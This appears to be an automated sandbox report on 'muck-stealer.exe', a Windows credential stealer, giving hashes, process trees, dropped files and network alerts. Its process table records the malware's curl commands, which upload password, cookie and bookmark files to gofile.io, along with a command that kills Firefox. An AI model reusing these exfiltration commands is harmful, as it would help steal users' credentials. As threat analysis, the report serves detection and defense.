| File name: | muck-stealer.exe |
| Full analysis: | https://app.any.run/tasks/d247ffa0-4e72-4f23-a45b-fa96922fcc7a |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | December 13, 2024, 12:16:24 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | 644EF70F52B002746500CD1D43DB4B88 |
| SHA1: | 61134A96BDF0414A3A054ED47714727FA18E327F |
| SHA256: | ADD6D439CF4293B2105361DB9E0B7FCA9DF4CE2787443978E12F7B8A36075203 |
| SSDEEP: | 98304:dJ3d28zBU95PRInbdnnYQ620qCHWFMAli/UnQOxhTzg4GMDhOI8qbPGIkGAgcd3C:7wobmyrVanf7g8oq+UnpSwmP4yT |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:12:13 12:15:16+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 172032 |
| InitializedDataSize: | 154624 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 236 | C:\WINDOWS\system32\cmd.exe /c "curl -F "file=@C:\Users\admin\AppData\Local\Temp\coolmathgamesbookmarks.txt" https://store4.gofile.io/uploadFile" | C:\Windows\System32\cmd.exe | — | muck-stealer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 26 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 436 | curl -F "file=@C:\Users\admin\AppData\Local\Temp\coolmathgamesbookmarks.txt" https://store4.gofile.io/uploadFile | C:\Windows\System32\curl.exe | — | cmd.exe | |||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: HIGH Description: The curl executable Exit code: 26 Version: 8.4.0 Modules
| |||||||||||||||
| 1668 | curl -F "file=@C:\Users\admin\AppData\Local\Temp\coolmathgamescookies.txt" https://store4.gofile.io/uploadFile | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: HIGH Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 1744 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1920 | C:\WINDOWS\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1" | C:\Windows\System32\cmd.exe | — | muck-stealer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 128 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2092 | C:\WINDOWS\system32\cmd.exe /c "curl -F "file=@C:\Users\admin\AppData\Local\Temp\coolmathgamesparsedcookies.txt" https://store4.gofile.io/uploadFile" | C:\Windows\System32\cmd.exe | — | muck-stealer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2192 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3988 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4504 | taskkill /im firefox.exe /t /f | C:\Windows\System32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Terminates Processes Exit code: 128 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4816 | C:\WINDOWS\system32\cmd.exe /c "curl -F "file=@C:\Users\admin\AppData\Local\Temp\coolmathgamespasswords.txt" https://store4.gofile.io/uploadFile" | C:\Windows\System32\cmd.exe | — | muck-stealer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_ARC4.pyd | executable | |
MD5:1DE465A3C16AE0C7B33B414B177C59CD | SHA256:87715695C50921D2578FAE6257830E4531D35644E9718C5C752BB52DEC2D3EFE | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_chacha20.pyd | executable | |
MD5:78F5B1E8BED008EE0230BE48CB086071 | SHA256:A81190A153181E8541FC7A60CA2C616CFEC22357CBC1F894B0F5A4BE4A46F75B | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_Salsa20.pyd | executable | |
MD5:CE80D9506C7661774098D5E9B4A21509 | SHA256:AD2BA10087B0AFC3394A319F1083BF0F3F67D0E3B4C89530EF227D6A0114C317 | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_cfb.pyd | executable | |
MD5:1C4330CF8B8294CAB3790936C5D0C2CD | SHA256:32815077AE93BFEF7D3F29B42AB53A2EBCBA16D921443F38FA8A6493391A9F9B | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_des.pyd | executable | |
MD5:7364E01B7C7FEA734501E8BADD6B3FA9 | SHA256:D50C788C2E4D10702F3D9CE8CFBAFB0242078937D78EBD4A414552D4C269C5AF | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_cbc.pyd | executable | |
MD5:7C240AB7BC11F5276B21155F043D8183 | SHA256:65868D4BFDA255D2E7FE770E05093CC5E281B69CC49E29A25709840FAA1DB35A | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_aes.pyd | executable | |
MD5:B7790B60ECB15C9F69B9DC484D888516 | SHA256:0D0177BE335ED0BD69B9F5579685991434F3F635AA466C69097BE40546B9156B | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_eksblowfish.pyd | executable | |
MD5:1190327CD437F1F4A2561E522AB18FC8 | SHA256:15C4D6F45D47FB8C1176323F4A7DBEEAAA51C774DB43C496FF247780634BD781 | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Cipher\_raw_blowfish.pyd | executable | |
MD5:112B3132A3D4CFCB5F24036C6F8A93C3 | SHA256:616E5F0682CAE4A227596584FB345B419744E6B6EA144141BF34614C19E6DB46 | |||
| 6908 | muck-stealer.exe | C:\Users\admin\AppData\Local\Temp\_MEI69082\Crypto\Hash\_BLAKE2s.pyd | executable | |
MD5:166910CB6469DB576D1F778F112A23C5 | SHA256:978BD794414071848C8B1101777FB269864E0383B5D00BAB541BD8F78752FCAA | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 1.01 Kb | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | US | binary | 314 b | whitelisted |
— | — | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | DE | binary | 973 b | whitelisted |
6196 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | DE | binary | 418 b | whitelisted |
760 | lsass.exe | GET | 200 | 95.101.54.200:80 | http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgNBFe%2FLtaY4kXJ9034IQY5mQA%3D%3D | DE | binary | 504 b | whitelisted |
6196 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | DE | binary | 408 b | whitelisted |
6464 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | US | binary | 471 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
— | — | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5064 | SearchApp.exe | 2.23.209.143:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
1176 | svchost.exe | 20.190.159.23:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
1076 | svchost.exe | 184.28.89.167:443 | go.microsoft.com | AKAMAI-AS | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
discord.com |
| whitelisted |
checkip.amazonaws.com |
| shared |
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
6952 | muck-stealer.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
2192 | svchost.exe | Potentially Bad Traffic | ET INFO Online File Storage Domain in DNS Lookup (gofile .io) |
6952 | muck-stealer.exe | Misc activity | ET INFO File Sharing Related Domain in TLS SNI (gofile .io) |
6952 | muck-stealer.exe | Device Retrieving External IP Address Detected | ET INFO Observed External IP Lookup Domain (checkip .amazonaws .com) in TLS SNI |
2192 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (checkip .amazonaws .com) |
2192 | svchost.exe | Misc activity | ET INFO External IP Lookup Domain in DNS Lookup (geolocation-db .com) |
6952 | muck-stealer.exe | Misc activity | ET INFO External IP Lookup Domain (geolocation-db .com) in TLS SNI |
2192 | svchost.exe | Potentially Bad Traffic | ET INFO Online File Storage Domain in DNS Lookup (gofile .io) |
5792 | curl.exe | Misc activity | ET INFO File Sharing Related Domain in TLS SNI (gofile .io) |